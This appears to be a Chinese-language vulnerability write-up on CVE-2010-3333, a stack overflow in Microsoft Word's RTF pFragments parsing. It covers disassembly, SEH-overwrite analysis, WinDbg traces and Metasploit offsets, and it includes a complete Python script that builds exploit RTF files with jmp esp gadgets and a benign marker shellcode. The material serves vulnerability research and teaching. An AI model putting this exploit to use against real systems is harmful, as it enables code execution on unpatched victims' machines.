.text:30F0B601 mov edx, [ebp+var_10] ; edx = [ebp-0x10] = [0x001237ec-0x10] = [0x001237dc] = 0xAAAAAAAA(pFragements属性值起始内容) <----
.text:30F0B604 neg eax ; 求补:按位取反再加一,eax = 0x55555556
.text:30F0B606 sbb eax, eax ; eax = eax-eax-CF = 0xFFFFFFFF,CF=1
.text:30F0B608 lea ecx, [ebp+var_8] ; ecx = ebp-0x8 = 0x001237ec-0x8 = 0x001237e4
.text:30F0B60B and eax, ecx ; eax = eax&ecx = 0x001237e4
.text:30F0B60D push eax ; arg2: eax = 0x001237e4
.text:30F0B60E push [ebp+arg_0] ; arg1: [ebp+0x8] = [0x001237ec+0x8] = [0x001237f4] = 0xAAAAAAAA(a1)
.text:30F0B611 call sub_30F0B7AF ;
.text:30F0B616 test al, al
.text:30F0B618 jz loc_30F0B6B6
| |
↓ ↓
**********************************************************************************************

所属模块: mso.dll
char __userpurge sub_30F0B7AF@<al>(int a1@<edx>, int a2@<edi>, int a3, int a4, int a5)

**********************************************************************************************
.text:30F0B7AF push ebp ; ebp = 0x001237EC
.text:30F0B7B0 mov ebp, esp ; ebp = esp = 0x001237B8
.text:30F0B7B2 sub esp, 10h ; esp = esp-0x10 = 0x001237B8-0x10 = 0x001237A8
.text:30F0B7B5 push ebx ; ebx = 0x05000000
.text:30F0B7B6 xor ebx, ebx ; ebx = ebx^ebx = 0x0
.text:30F0B7B8 cmp [ebp+arg_8], ebx ; [ebp+0x10] = [0x001237B8+0x10] = [0x001237C8] = 0xAAAAAAAA(a3)
.text:30F0B7BB jz loc_310901D0 ; 为0跳转,这里不跳转
.text:30F0B7C1 cmp edx, ebx ; arg2: edx = 0xAAAAAAAA,ebx = 0x0
.text:30F0B7C3 mov [ebp+lpMem], ebx ; [ebp-0xC] = [0x001237B8-0xC] = [0x001237AC] = ebx = 0x0
.text:30F0B7C6 jz short loc_30F0B7D8 ; 为0跳转,这里不跳转
.text:30F0B7C8 lea ecx, [ebp+lpMem] ; arg1: ecx = ebp-0xc = 0x001237B8-0xC = 0x001237AC
.text:30F0B7CB call sub_30F0B90A ;
| |
↓ ↓
**************************************************************

所属模块: mso.dll
signed int __fastcall sub_30F0B90A(LPVOID *a1, int a2)

**************************************************************
.text:30F0B90A sub_30F0B90A proc near
.text:30F0B90A
.text:30F0B90A lea eax, (loc_30F0B914+4)[edx*8] ; eax = edx*8+0x30F0B914+4 = 0xAAAAAAAA*8+0x30F0B918 = 0x86460E68(a2,edx) <----
.text:30F0B911 mov edx, [eax+4] ; edx = [eax+4] = [0x86460E68+4] = [0x86460E6C] = ??? <----

  由于pFragements属性值起始的第1个dword会被传进调用CrashFun(sub_30ED4406)函数的指令之后调用的sub_30F0B7AF函数,作为其参数,后面的程序会利用其生成一个不可访问的地址,造成内存访问异常

  经过对函数sub_30F0B5C2和函数sub_30F0B7AF的伪代码进行分析,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
char __userpurge sub_30F0B5C2@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6)
{
......
if ( a6 ) // 进入sub_30F0B5C2函数时,a6 != 0x0
{
v7 = *(int **)(sub_30D29EA3(*(_BYTE **)(a1 + 8)) + 100);
v17 = 0;
v8 = *v7;
v16 = 83886080;
(*(void (__stdcall **)(int *, int *, int))(v8 + 28))(v7, &v15, a3); // sub_30ED4406,a6可被修改为0x0
// a6 == 0x0,会使sub_30F0B7AF()函数返回0,a6为sub_30F0B5C2()在栈上的第5个参数
// 并且可以使sub_30F0B5C2()函数直接返回
result = sub_30F0B7AF(a2, a5 != 0 ? (unsigned int)&v17 : 0, a6);
if ( result ) // result == 0x0,sub_30F0B5C2()函数直接返回
{
......
}
}
else
{
sub_3144D83D();
result = 0;
}
return result;
}

---------------------------------------------------------------------------------------------------------------

char __userpurge sub_30F0B7AF@<al>(int a1@<edx>, int a2@<edi>, int a3, int a4, int a5)
{
......
if ( !a5 ) // a5 == 0x0,则直接返回,且返回值为0
{
sub_3144D83D();
return 0;
}
......
}

  所以我们只要让函数sub_30F0B5C2上的第5个参数被修改为0x0,则可以让函数sub_30F0B5C2跳过执行完CrashFun(sub_30ED4406)函数之后可能需要执行的代码部分,直接返回

环境:Windows7 & Office2007

  在Win7&Office2007的环境下,和XP&Office2003环境下,基本是一样的,只是关键函数的地址不一样。对应关系如下:

1
2
3
4
5
+---------------------+--------------------+-------------------+
| XP&Office2003 | sub_30F0B5C2 | sub_30F0B7AF |
|---------------------|--------------------|-------------------|
| Win7&Office2007 | sub_32E5955E | sub_32E5941B |
+---------------------+--------------------+-------------------+

  还有就是所使用的ROPGadgets的地址不一样,也有可能ROPGadgets的地址是相同的,这种比较少。

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding:utf-8 -*-
# Author: Sp4n9x
# Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow(CVE-2010-3333)
# Environment1: Windows XP SP3 & Microsoft Office 2003 SP3(11.8169.8172)
# Environment2: Windows 7 x86 SP0 & Microsoft Office 2007 SP0(12.0.4518.1014)
# Exploit Technology: ret2shellcode
import random
import struct
import binascii

def generate_array_paramter():
bad_sizes = (0,2,4,8)
num = random.randint(0,9)
while num in bad_sizes:
num = random.randint(0,9)
return num

def exploit(env):
el_size = generate_array_paramter() # Array element size
el_count = generate_array_paramter() # Array element count

str1 = struct.pack('<H',0x1111)
str1 = binascii.b2a_hex(str1)
str2 = struct.pack('<H',0x2222)
str2 = binascii.b2a_hex(str2)
data = str1 + str2

length = struct.pack('<H',0x0130) # the data length after this
length = binascii.b2a_hex(length)

if env == 0:
jmp_esp = struct.pack('<I',0x7dc54e64) # shell32.dll(version: 6.0.2900.6242),PAGE_READONLY(OllyFindAddr)
jmp_esp = binascii.b2a_hex(jmp_esp)
elif env == 1:
jmp_esp = struct.pack('<I',0x788281cb) # msxml5.dll(version: 5.20.1072.0),ASLR Disable,PAGE_EXECUTE_READ(OllyFindAddr,mona)
jmp_esp = binascii.b2a_hex(jmp_esp)
elif env == 2:
jmp_esp = struct.pack('<I',0x7ffa4512) # no module,universal,PAGE_READONLY(OllyFindAddr)
jmp_esp = binascii.b2a_hex(jmp_esp)

shellcode = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x6e\x39"
"\x78\x01\x68\x40\x53\x70\x34\x89\xe1\xfe\x49\x07\x31\xc0\x51"
"\x50\xff\xd7") # FatalAppExitA(uAction=0,lpMessageText="@Sp4n9x\x01")
shellcode = binascii.b2a_hex(shellcode)

pFragments_value = "%d;%d;" % (el_size,el_count)
pFragments_value += data
pFragments_value += length
pFragments_value += 'a'*0x14*2
pFragments_value += jmp_esp
pFragments_value += 'a'*0x10*2
# The fifth parameter of sub_30F0B5C2(Office2003)/sub_32E5955E(Office2007) on the stack
pFragments_value += '0'*8 # make "30F0B7B8 cmp [ebp+arg_8], ebx" equal(Office2003).
pFragments_value += shellcode

content = r"{\rtf1"
content += r"{\shp"
content += r"{\sp"
content += r"{\sn pfragments}"
content += r"{\sv %s" % pFragments_value
content += r"}}}}"

print len(content)
if env == 0:
with open('CVE-2010-3333-ret2shellcode(XP_Office2003).rtf','w') as f:
f.write(content)
elif env == 1:
with open('CVE-2010-3333-ret2shellcode(Win7_Office2007).rtf','w') as f:
f.write(content)
elif env == 2:
with open('CVE-2010-3333-ret2shellcode-universal.rtf','w') as f:
f.write(content)

if __name__ == '__main__':
# 0:XP&Office2003
# 1:Win7&Office2007
# 2:universal
env = 2
exploit(env)

0x42 方法二:覆盖SEH记录

1、用户态的异常处理过程

  本程序产生的异常属于用户态的异常

用户态的异常处理过程:

  • 1、如果发生异常的程序正在被调试,那么将异常信息发送给正在调试它的用户态调试器,给调试器第1次处理机会;如果没有被调试,跳过本步。
  • 2、如果不存在用户态调试器或调试器未处理该异常,那么在栈上放置EXCEPTION_RECORDCONTEXT两个结构以及记录这两个结构位置的EXCEPTION_POINTERS结构,并将控制权返回给用户态ntdll.dll中的KiUserExceptionDispatcher函数,由它调用ntdll!RtlDispatchException函数进行用户态的异常处理
  • 3、如果ntdll!RtlDispatchException函数在调用用户态的异常处理过程中未能处理该异常,那么异常处理过程会再次返回nt!KiDispatchException,它将再次把异常信息发送给用户态的调试器,给调试器第2次处理机会。如果没有调试器存在,则不会进行第2次分发,而是直接结束进程
  • 4、如果第2次机会调试器仍不处理nt!KiDispatchException会再次尝试把异常分发给进程的异常端口进行处理。该端口通常由子系统进程csrss.exe进行监听。子系统监听到该错误后,通常会显示一个“应用程序错误”对话框,用户可以单击“确定”按钮或者最后将其附加到调试器上的“取消”按钮。如果没有调试器能附加于其上,或者调试器还是处理不了异常,系统就调用ExitProcess函数来终结程序。
  • 5、在终结程序之前,系统会再次调用发生异常的线程中的所有异常处理过程,这是线程异常处理过程所获得的清理未释放资源的最后机会,此后程序就终结了。

2、SEH相关数据结构

2.1、TIB结构

  TIB(Thread Information Block,线程信息块)是保存线程基本信息的数据结构。在用户模式下,它位于TEB(Thread Environment Block,线程环境块)的头部,而TEB是操作系统为了保存每个线程的私有数据创建的,每个线程都有自己的TEB。在Windows 2000 DDK中(winnt.h),TIB的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _NT_TIB {
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // 指向异常处理链表
PVOID StackBase; // 当前线程所使用的栈的栈底
PVOID StackLimit; // 当前线程所使用的栈的栈顶
PVOID SubSystemTib;
union {
PVOID FiberData;
DWORD Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; // 指向TIB结构自身
} NT_TIB;

  虽然Windows系统经历了多次更新换代,但是从Windows 2000Windows 10TIB的结构变化很小。其中,与异常处理相关的项是指向EXCEPTION_REGISTRATION_RECORD结构的指针ExceptionList,它位于TIB偏移0处,同时在TEB偏移0处。在x86平台用户模式下,Windows将FS段选择器指向当前线程的TEB数据,即TEB总是由fs:[0]指向的(在x64平台上,这个关系变成了gs:[0])。

2.2、_EXCEPTION_REGISTRATION_RECORD结构

  TEB(或TIB)偏移量为0的_EXCEPTION_REGISTRATION_RECORD主要是用于描述线程异常处理过程的地址,多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系,其定义如下:

1
2
3
4
typedef struct _EXCEPTION_REGISTRATION_RECORD {
struct _EXCEPTION_REGISTRATION_RECORD *Next; // 指向下一个_EXCEPTION_REGISTRATION_RECORD结构的指针
PEXCEPTION_ROUTINE Handler; // 当前异常处理回调函数的地址
} EXCEPTION_REGISTRATION_RECORD;

  其中,“Next”是指向下一个_EXCEPTION_REGISTRATION_RECORD结构(简称:“ERR”)的指针,形成一链状结构,而链表头就存放在fs:[0]指向的TEB(或TIB)中;“Handler”指向异常处理回调函数。当程序运行过程中产生异常时,系统的异常分发器就会从fs:[0]处取得异常处理的链表头,然后查找异常处理链表并依次调用各个链表节点中的异常处理回调函数。由于TEB是线程的私有数据结构,相应的,每个线程也都有自己的异常处理链表,即SEH机制作用范围仅限于当前线程。从数据结构的角度来讲,SEH链就是一个只允许在链表头部进行增加删除节点操作的单向链表,且链表头部永远保存在fs:[0]指向的TEB(或TIB)中。

  下图就是SEH异常处理链表的示意图:
SEH异常处理链表示意图

2.3、_EXCEPTION_RECORD结构

  各个异常处理函数除了针对本异常的特定处理之外,通常会将异常信息进行封装,以便进行后续处理。封装异常信息的结构就是_EXCEPTION_RECORD,该结构定义如下(winnt.h):

1
2
3
4
5
6
7
8
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode; // 异常代码
DWORD ExceptionFlags; // 异常标志
struct _EXCEPTION_RECORD *ExceptionRecord; // 指向另一个EXCEPTION_RECORD的指针
PVOID ExceptionAddress; // 异常发生的地址
DWORD NumberParameters; // 下面的ExceptionInformation含有的元素数目
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; // 附加信息
} EXCEPTION_RECORD;

常见的异常产生原因:

异常产生原因 对应值 说明
STATUS_GUARD_PAGE_VIOLATION 080000001h 读写属性为PAGE_GUARD的页面
EXCEPTION_BREAKPOINT 080000003h 断点异常
EXCEPTION_SINGLE_STEP 080000004h 单步中断
EXCEPTION_INVALID_HANDLE 0C0000008h 向一个函数传递了一个无效句柄
EXCEPTION_INVALID_VIOLATION 0C0000005h 读写内存违规
EXCEPTION_ILLEGAL_INSTRUCTION 0C000001Dh 遇到无效指令
EXCEPTION_IN_PAGE_ERROR 0C0000006h 存取不存在的页面
EXCEPTION_INT_DIVIDE_BY_ZERO 0C0000094h 除0错误
EXCEPTION_STACK_OVERFLOW 0C00000FDh 栈溢出
2.4、_CONTEXT结构

  异常处理函数除了将一部分异常信息封装成_EXCEPTION_RECORD,还将另一部分异常信息封装成陷阱帧,它精确描述了发生异常时线程的状态(Windows的任务调度是基于线程的)。该结构与处理器高度相关,因此在不同的平台上(Intel x86/x64MIPSAlphaPowerPC处理器等)有不同的定义。其结构中包含每个寄存器的状态,但该结构一般仅供系统内核自身或者调试系统使用。当需要把控制权交给用户注册异常处理程序时,会将上述结构转换成一个名为CONTEXT的结构,它包含线程运行时处理器各主要寄存器的完整镜像,用于保存线程运行环境

  x86平台上的CONTEXT结构如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
typedef struct DECLSPEC_NOINITALL _CONTEXT {
// 标志位,表示整个结构中哪些部分是有效的
DWORD ContextFlags;

// 当ContextFlags包含CONTEXT_DEBUG_REGISTERS时,以下部分有效
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;

// 当ContextFlags包含CONTEXT_FLOATING_POINT时,以下部分有效
FLOATING_SAVE_AREA FloatSave;

// 当ContextFlags包含CONTEXT_SEGMENTS时,以下部分有效
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;

// 当ContextFlags包含CONTEXT_INTEGER时,以下部分有效
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;

// 当ContextFlags包含CONTEXT_CONTROL时,以下部分有效
DWORD Ebp;
DWORD Eip;
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs;

// 当ContextFlags包含CONTEXT_EXTENDED_REGISTERS时,以下部分有效
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;

  该结构的大部分是不言自明的。需要解释的是,其第一个域ContextFlags表示该结构中哪些域有效,当需要CONTEXT结构保存的信息恢复执行时可对应更新,这为有选择的更新部分域而非全部域提供了有效的手段。

1
2
3
4
5
6
7
8
9
#define CONTEXT_i386    0x00010000L    // 这假设i386和i486具有相同的上下文记录
#define CONTEXT_i486 0x00010000L

#define CONTEXT_CONTROL (CONTEXT_i386 | 0x00000001L) // 控制寄存器
#define CONTEXT_INTEGER (CONTEXT_i386 | 0x00000002L) // (整数)通用寄存器
#define CONTEXT_SEGMENTS (CONTEXT_i386 | 0x00000004L) // 段寄存器
#define CONTEXT_FLOATING_POINT (CONTEXT_i386 | 0x00000008L) // 浮点寄存器
#define CONTEXT_DEBUG_REGISTERS (CONTEXT_i386 | 0x00000010L) // 调试寄存器
#define CONTEXT_EXTENDED_REGISTERS (CONTEXT_i386 | 0x00000020L) // 扩展寄存器
2.5、_EXCEPTION_POINTERS结构

  当一个异常发生时,在没有调试器干预的情况下,操作系统会将异常信息转交给用户态的异常处理过程。实际上,由于同一个线程用户态内核态使用的是两个不同的栈,为了让用户态的异常处理程序能够访问与异常相关的数据,操作系统必须把与本次异常相关联的_EXCEPTION_RECORD结构_CONTEXT结构放到用户栈中,同时在栈上放置一个_EXCEPTION_POINTERS结构,它包含两个指针,一个指向_EXCEPTION_RECORD结构,另一个指向_CONTEXT结构

1
2
3
4
typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord; // _EXCEPTION_RECORD结构指针
PCONTEXT ContextRecord; // _CONTEXT结构指针
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

3、计算偏移量

环境:XP & Office2003

  既然我们要覆盖SEH记录,就要搞清楚,覆盖栈数据之前,栈上有哪些SEH记录,以及它们的位置。在复制pFragments属性数据到栈上之前,栈上的SEH记录如下(CVE-2010-3333(target6,Crash).rtf):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
                       +----------+
fs:[0] ---> 0x0012FFB0 | 0012FFE0 |--+ 指向下一个SEH记录的指针
+----------+ |
0x0012FFB4 | 30AA1ABC | | SE处理程序
+----------+ |
| | |
...... | ...... | |
| | |
+----------+ |
0x0012FFE0 | FFFFFFFF |<-+ SEH链尾部
+----------+
0x0012FFE4 | 7C839AB0 | SE处理程序
+----------+

------------------------------------------------------------------------

# Office v11.8307.8324, winword.exe v11.0.8307.0
# Office v11.8328.8221, winword.exe v11.0.8328.0
[ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English',
{
'Offsets' => [ 24580, 51156 ],
'Ret' => 0x30001bdd # p/p/r in winword.exe
}
],

------------------------------------------------------------------------

0x001237DC pFragments缓冲区起始地址
......
0x001297E0 0x6E46336E 并不是SEH记录(0x001297E0-0x001237DC=24580)
......
0x0012FFB0 0x4E32704E SEH记录(0x0012FFB0-0x001237DC=51156)
......
0x0012FFE0 0x4E38714E SEH链尾部

  我们可以看到在Metasploit生成样本的脚本中,当前所使用的环境对应的Target中,有两个偏移51156正是当前SEH链表第1个SEH记录(0x0012FFB0)距pFragments缓冲区起始地址(0x001237DC)的偏移,而24580所对应的栈数据并不是SEH链表中的SEH记录,不太清楚为什么,实际控制流劫持过程中也没用到此处的数据。

  覆盖栈数据之后,原本的SEH链表被覆盖覆盖之后SEH链表如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
                       +----------+
fs:[0] ---> 0x0012FFB0 | 4E32704E | 指向下一个SEH记录的指针
+----------+
0x0012FFB4 | 704E3370 | SE处理程序
+----------+
| |
...... | ...... |
| |
+----------+
0x0012FFE0 | 4E38714E | SEH链尾部
+----------+
0x0012FFE4 | 724E3971 | SE处理程序
+----------+

  在这里计算偏移量时,有两种方法方法一,手算,只要知道缓冲区的起始地址以及SEH记录的位置就可以算出偏移。方法二,使用Metasploit提供的两个工具,pattern_creat.rbpattern_offset.rb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 65600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
.......
6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 6E46336E -l 65600
[*] Exact match at offset 4300
[*] Exact match at offset 24580 <----
[*] Exact match at offset 44860
[*] Exact match at offset 65140

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 4E32704E -l 65600
[*] Exact match at offset 10596
[*] Exact match at offset 30876
[*] Exact match at offset 51156 <----

4、SEH劫持过程分析

环境:XP & Office2003

  通过msf生成样本的脚本可知,当前环境所使用的用于覆盖SEH处理程序地址的地址为0x30001bdd,其位于winword.exe。我们使用WinDbgCVE-2010-3333(target2,calc).rtf进行调试,首先对地址0x30001bdd下一个断点,然后查看栈回溯,通过栈回溯了解SEH劫持的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
(908.acc): Break instruction exception - code 80000003 (first chance)
eax=7ffdb000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=0387ffcc ebp=0387fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:007> bp 0x30001bdd
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE -
0:007> g
ModLoad: 06420000 065c1000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll
ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll
(908.3d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=00000022 edx=00000000 esi=1104c830 edi=00130000
eip=30ed442c esp=001237b4 ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> gn
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=30001bdd edx=7c9232bc esi=00000000 edi=00000000
eip=30001bdd esp=001233e4 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINWORD+0x1bdd:
30001bdd 59 pop ecx
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00123404 7c92327a 001234cc 0012ffb0 001234e8 WINWORD+0x1bdd(0x30001bdd,当前指令地址)
↑------------------------------------------↓
001234b4 7c92e46a 00000000 001234e8 001234cc ntdll!ExecuteHandler+0x24(0x7c92327a)[ntdll!ExecuteHandler2 (7c923282)的返回地址]
↑------------------------------------------↓
001234b4 30ed442c 00000000 001234e8 001234cc ntdll!KiUserExceptionDispatcher+0xe(0x7c92e46a)[ntdll!RtlDispatchException (7c94a950)的返回地址]
↑------------------------------------------↓
001237ec 42030f42 2ac372e9 d32cf01d 36a595dd mso!Ordinal1246+0x16b0(0x30ed442c,发生异常指令地址)

  通过栈回溯,我们可以知道,0x30ed442c处的指令“rep movsd”发生内存访问异常后,系统首先将异常信息发送给调试器,调试器未处理该异常,则将控制权交给ntdll!KiUserExceptionDispatcher函数。接下来的调用过程如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ntdll!KiUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord, 
PCONTEXT ContextRecord)
| |
↓ ↓
ntdll!RtlDispatchException(PEXCEPTION_RECORD ExceptionRecord,
PCONTEXT ContextRecord)
| |
↓ ↓
ntdll!RtlpExecuteHandlerForException(PEXCEPTION_RECORD pExcptRec,
PEXCEPTION_REGISTRATION_RECORD RegistrationPointer,
CONTEXT pContext,
DISPATCHER_CONTEXT DispatcherContext,
(PEXCEPTION_ROUTINE)RegistrationPointer->Handler)
| |
↓ ↓
ntdll!ExecuteHandler(PEXCEPTION_RECORD pExcptRec,
PEXCEPTION_REGISTRATION_RECORD RegistrationPointer,
CONTEXT pContext,
DISPATCHER_CONTEXT DispatcherContext,
(PEXCEPTION_ROUTINE)RegistrationPointer->Handler)
| |
↓ ↓
ntdll!ExecuteHandler2(PEXCEPTION_RECORD pExcptRec,
PEXCEPTION_REGISTRATION_RECORD RegistrationPointer,
CONTEXT pContext,
DISPATCHER_CONTEXT DispatcherContext,
(PEXCEPTION_ROUTINE)RegistrationPointer->Handler)
| |
↓ ↓
WINWORD+0x1bdd(0x30001bdd),SEH处理程序地址

  我们对上述函数所在地址下断点,然后进行跟踪,查看每个函数参数内容。由于这些函数的参数大多是结构体指针,所以我们用WinDbg调试可以更直观的看到这些参数所对应的结构体内容(dt命令)。WinDbg结合符号文件,可以非常清楚地显示各类数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
(140.b54): Break instruction exception - code 80000003 (first chance)
eax=7ffda000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=0336ffcc ebp=0336fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:007> bu 7C92E45C
0:007> bu 7C92E465
0:007> bu 7C94A9EA
0:007> bu 7C923256
0:007> bu 7C923275
0:007> bu 7C9232A6
0:007> bu 0x30001bdd
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE -
0:007> bl
0 e 7c92e45c 0001 (0001) 0:**** ntdll!KiUserExceptionDispatcher
1 e 7c92e465 0001 (0001) 0:**** ntdll!KiUserExceptionDispatcher+0x9
2 e 7c94a9ea 0001 (0001) 0:**** ntdll!RtlDispatchException+0xac
3 e 7c923256 0001 (0001) 0:**** ntdll!ExecuteHandler
4 e 7c923275 0001 (0001) 0:**** ntdll!ExecuteHandler+0x1f
5 e 7c9232a6 0001 (0001) 0:**** ntdll!ExecuteHandler2+0x24
6 e 30001bdd 0001 (0001) 0:**** WINWORD+0x1bdd
0:007> g
ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\netapi32.dll
ModLoad: 75c60000 75d00000 C:\WINDOWS\system32\urlmon.dll
ModLoad: 76d70000 76d92000 C:\WINDOWS\system32\Apphelp.dll
ModLoad: 06860000 06a01000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll
(140.e28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
